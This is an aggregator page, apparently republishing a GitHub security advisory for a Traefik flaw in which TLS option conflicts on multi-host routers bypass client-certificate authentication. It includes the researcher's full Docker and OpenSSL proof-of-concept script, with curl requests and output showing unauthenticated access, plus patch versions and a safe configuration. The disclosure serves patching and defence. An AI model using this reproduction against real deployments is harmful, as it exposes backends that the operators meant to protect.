GHSA-G55H-RG46-X9C5
TLS option confusion in multi-host routers can bypass mTLS for protected hosts
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v2.11.55 | github.com/traefik/traefik/v2 · -3 d desde divulgación | |
| Remediación | Parche v3.7.11 | github.com/traefik/traefik/v3 · -3 d desde divulgación | |
| Divulgación | Publicada | GHSA-G55H-RG46-X9C5 divulgada · CVSS 8.2 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
There is a high severity vulnerability in Traefik's TLS options conflict resolution. TLS options are applied during the handshake and are therefore mapped to the host names of a router rule rather than to the router itself, so when several routers on the same entry point serve the same host name with different TLS options Traefik arbitrates the conflict by falling back to the `default` TLS options — and for a multi-host router that fallback is applied to every host name in the rule, including the ones that are not themselves in conflict. A router that requires client-certificate authentication for one of its hosts therefore stops enforcing it as soon as another router creates a TLS option conflict on any other host of the same rule, and a client without a certificate can reach the protected backend. The fix introduces the `core.strictTLSOptions` static configuration option, which disables the fallback and marks the conflicting routers in error instead; it defaults to `false` to preserve the existing behaviour, so it must be explicitly enabled to take effect. Both the v2 and v3 lines are affected; the v1 line, the v2 minors below v2.11 and the v3 minors below v3.7 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.55
- https://github.com/traefik/traefik/releases/tag/v3.7.11
For more information
If you have any questions or comments about this advisory, please open an issue https://github.com/traefik/traefik/issues.
<details>
<summary>Original Description</summary>
Summary
Traefik v3.7.9 can apply the default TLS configuration to every host served by a multi-host HTTP router when another router creates a conflicting TLS option for only one of those hosts.
This can bypass client-certificate authentication for a protected host. In the reproduction below, `admin.example.com` is configured with a TLS option that requires and verifies a client certificate. A second router for `public.example.com` creates a same-host TLS-option conflict. After the conflict is introduced, a client without a certificate can complete the TLS handshake for `admin.example.com` and reach the backend.
The PoC is self-contained in this Markdown document. It creates all certificates, Compose files, and dynamic configuration in a temporary directory at runtime. No PoC repository files need to be distributed.
Details
The affected configuration is a multi-host router with a strict TLS option:
http:
routers:
multi-host:
entryPoints:
- websecure
rule: Host(`admin.example.com`, `public.example.com`)
ruleSyntax: v2
service: app
tls:
options: strictand a second router that overlaps only one host with the default TLS option:
public-default:
entryPoints:
- websecure
rule: Host(`public.example.com`)
service: app
tls: {}The strict option requires `RequireAndVerifyClientCert`:
tls:
options:
strict:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCertThe affected flow is:
- The multi-host router is registered in both the `admin.example.com` and `public.example.com` host buckets with the strict option.
- The second router introduces a default-option conflict for `public.example.com`.
- Conflict resolution mutates the shared multi-host router to use the default TLS option.
- The TCP router manager installs that shared resolved option for every domain parsed from the multi-host rule, including `admin.example.com`.
- The SNI check uses the same router-level resolution, so the request is accepted after negotiating the default no-client-certificate TLS configuration.
Relevant source areas in v3.7.9:
- `pkg/config/dynamic/http_config.go`
https://github.com/traefik/traefik/blob/v3.7.9/pkg/config/dynamic/http_config.go: `RouterTLSConfig.ResolvedOptions` is a single router-level value. - `pkg/server/aggregator.go`
https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/aggregator.go: the same router is inserted into multiple host buckets and its shared TLS resolution is mutated during conflict handling. - `pkg/server/router/tcp/manager.go`
https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/router/tcp/manager.go: one resolved TLS configuration is installed for each domain parsed from the router rule. - `pkg/server/router/router.go`
https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/router/router.goand `pkg/middlewares/snicheck/snicheck.go`https://github.com/traefik/traefik/blob/v3.7.9/pkg/middlewares/snicheck/snicheck.go: SNI acceptance uses the router-level resolved option.
PoC
The following single shell block creates a temporary lab. It requires Docker, Docker Compose, and OpenSSL. It uses the official `traefik:v3.7.9` image and `traefik/whoami:v1.10.3` as the backend.
set -eu
LAB_DIR="$(mktemp -d)"
cleanup() {
docker compose -f "$LAB_DIR/compose.yml" down -v >/dev/null 2>&1 || true
rm -rf "$LAB_DIR"
}
trap cleanup EXIT
mkdir -p "$LAB_DIR/certs"
cd "$LAB_DIR"
# Create a short-lived test CA.
openssl req -x509 -newkey rsa:2048 -nodes -days 7 \
-subj '/CN=PoC CA' \
-keyout certs/ca.key -out certs/ca.crt
# Create a server certificate valid for both hosts.
cat > certs/server.ext <<'EOF'
subjectAltName=DNS:admin.example.com,DNS:public.example.com
extendedKeyUsage=serverAuth
EOF
openssl req -newkey rsa:2048 -nodes \
-subj '/CN=admin.example.com' \
-keyout certs/server.key -out certs/server.csr
openssl x509 -req -sha256 -days 7 \
-in certs/server.csr \
-CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \
-extfile certs/server.ext \
-out certs/server.crt
# Create a valid client certificate for the positive control.
cat > certs/client.ext <<'EOF'
extendedKeyUsage=clientAuth
EOF
openssl req -newkey rsa:2048 -nodes \
-subj '/CN=authorized-client' \
-keyout certs/client.key -out certs/client.csr
openssl x509 -req -sha256 -days 7 \
-in certs/client.csr \
-CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \
-extfile certs/client.ext \
-out certs/client.crt
cat > dynamic.yml <<'EOF'
tls:
certificates:
- certFile: /certs/server.crt
keyFile: /certs/server.key
options:
strict:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCert
http:
routers:
multi-host:
entryPoints:
- websecure
rule: Host(`admin.example.com`, `public.example.com`)
ruleSyntax: v2
service: app
tls:
options: strict
public-default:
entryPoints:
- websecure
rule: Host(`public.example.com`)
service: app
tls: {}
services:
app:
loadBalancer:
servers:
- url: http://backend:80
EOF
cat > compose.yml <<'EOF'
services:
traefik:
image: traefik:v3.7.9
command:
- --entrypoints.websecure.address=:8443
- --providers.file.filename=/etc/traefik/dynamic.yml
- --providers.file.watch=false
- --log.level=DEBUG
- --accesslog=true
ports:
- "18443:8443"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
- ./certs:/certs:ro
backend:
image: traefik/whoami:v1.10.3
EOF
docker compose -f compose.yml up -d
sleep 4
echo '--- request without a client certificate ---'
set +e
curl --http1.1 -sk -D - -o - \
--resolve admin.example.com:18443:127.0.0.1 \
https://admin.example.com:18443/
echo "curl_exit=$?"
set -e
echo '--- request with a valid client certificate ---'
curl --http1.1 -sk -D - -o - \
--resolve admin.example.com:18443:127.0.0.1 \
--cert certs/client.crt --key certs/client.key \
https://admin.example.com:18443/
echo '--- conflict evidence ---'
docker compose -f compose.yml logs --no-color traefik | \
grep -E 'different TLS options|Adding route for admin.example.com|Adding route for public.example.com'Observed result on Traefik v3.7.9:
--- request without a client certificate ---
HTTP/1.1 200 OK
BACKEND_REACHED or whoami backend response
curl_exit=0
--- request with a valid client certificate ---
HTTP/1.1 200 OK
BACKEND_REACHED or whoami backend responseThe log contains equivalent evidence to:
Host "public.example.com" is served by multiple routers with different TLS options, default TLSOptions will be applied
Adding route for admin.example.com with TLS options default
Adding route for public.example.com with TLS options defaultThe no-client-certificate request succeeding is the security-relevant result. The `-k` option only skips server-certificate hostname verification in this local lab; it does not supply a client certificate.
Safe control
Replace the vulnerable `dynamic.yml` with the following split-router configuration and restart the same Compose service. This keeps the two hosts in separate routers, so the protected host has an unambiguous strict option:
tls:
certificates:
- certFile: /certs/server.crt
keyFile: /certs/server.key
options:
strict:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCert
http:
routers:
admin:
entryPoints: [websecure]
rule: Host(`admin.example.com`)
service: app
tls:
options: strict
public:
entryPoints: [websecure]
rule: Host(`public.example.com`)
service: app
tls: {}
services:
app:
loadBalancer:
servers:
- url: http://backend:80Run:
docker compose -f compose.yml down
# Replace dynamic.yml with the safe YAML above, then:
docker compose -f compose.yml up -d
sleep 4
set +e
curl --http1.1 -sk -D - -o - \
--resolve admin.example.com:18443:127.0.0.1 \
https://admin.example.com:18443/
echo "curl_exit=$?"
set -e
curl --http1.1 -sk -D - -o - \
--resolve admin.example.com:18443:127.0.0.1 \
--cert certs/client.crt --key certs/client.key \
https://admin.example.com:18443/Expected safe-control result:
Without a client certificate: TLS handshake failure
With the valid client certificate: HTTP/1.1 200 OKImpact
An unauthenticated remote client that can reach the affected TLS entrypoint may access a backend protected by client-certificate authentication. This can expose administrative or otherwise restricted services under the protected hostname. The confidentiality, integrity, and availability impact depends on the backend exposed through that hostname.
The issue is limited to configurations where a multi-host router overlaps a router with a different TLS option for only one of its hostnames. Single-host routers and multi-host configurations without conflicting TLS options are not expected to trigger this condition.
The flaw does not require the HTTP attacker to control the Traefik configuration after the conflicting routers have been deployed. In a multi-tenant deployment, a principal able to create a conflicting router may be able to trigger the condition; once present, the protected request itself requires no client certificate.
Suggested remediation
Track the resolved TLS option per hostname instead of storing only one resolved value on `RouterTLSConfig`. The TCP router manager and SNI check should retrieve the option for the canonical SNI/Host currently being processed.
Add an integration test covering:
- One router with `Host("admin.example.com", "public.example.com")` and strict mTLS.
- One router with `Host("public.example.com")` and default TLS.
- A request to `admin.example.com` without a client certificate.
- A request to `admin.example.com` with a valid client certificate.
The first request must fail the TLS handshake, and only the second request should reach the backend.
Version information
The behavior was reproduced with the official `traefik:v3.7.9` image. The complete affected version range and patched version are not known from this validation and should be confirmed against additional released versions.
</details>
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/traefik/traefik/v2 |
Corregida | v2.11.55 | -3 d | v2.11.63 no afectada |
gogithub.com/traefik/traefik/v3 |
Corregida | v3.7.11 | -3 d | v3.7.19 no afectada |
v2.11.55v3.7.11Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/traefik/traefik/security/advisories/GHSA-g55h-rg46-x9c5Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
